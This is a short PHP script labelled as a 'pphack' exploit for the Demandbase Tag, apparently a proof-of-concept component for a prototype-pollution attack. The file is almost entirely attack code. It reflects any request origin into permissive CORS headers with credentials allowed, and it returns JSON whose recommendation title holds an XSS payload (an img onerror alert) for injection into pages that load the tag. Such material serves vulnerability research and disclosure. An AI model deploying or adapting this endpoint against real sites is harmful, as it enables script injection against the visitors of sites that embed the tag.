pphack exploit for Demandbase Tag

json_cors.php

<?php
  
  if ($_SERVER ['HTTP_ORIGIN'])
  {
    $origin = $_SERVER ['HTTP_ORIGIN'];
  }
  else
  {
    preg_match ('/^https?:\/\/[^\/]+/', $_SERVER ['HTTP_REFERER'], $matches);
    
    $origin = $matches [0];
  }
  
  header ('Access-Control-Allow-Origin: '.$origin);
  header ('Access-Control-Allow-Credentials: true');
  header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
  header ('Content-Type: application/json');
  
  http_response_code (201);
  
  echo '{"company_name":"XSS","recommendations":[{"title":"<img src=x onerror=alert(1337)>"}],"should_display":true}';
  
?>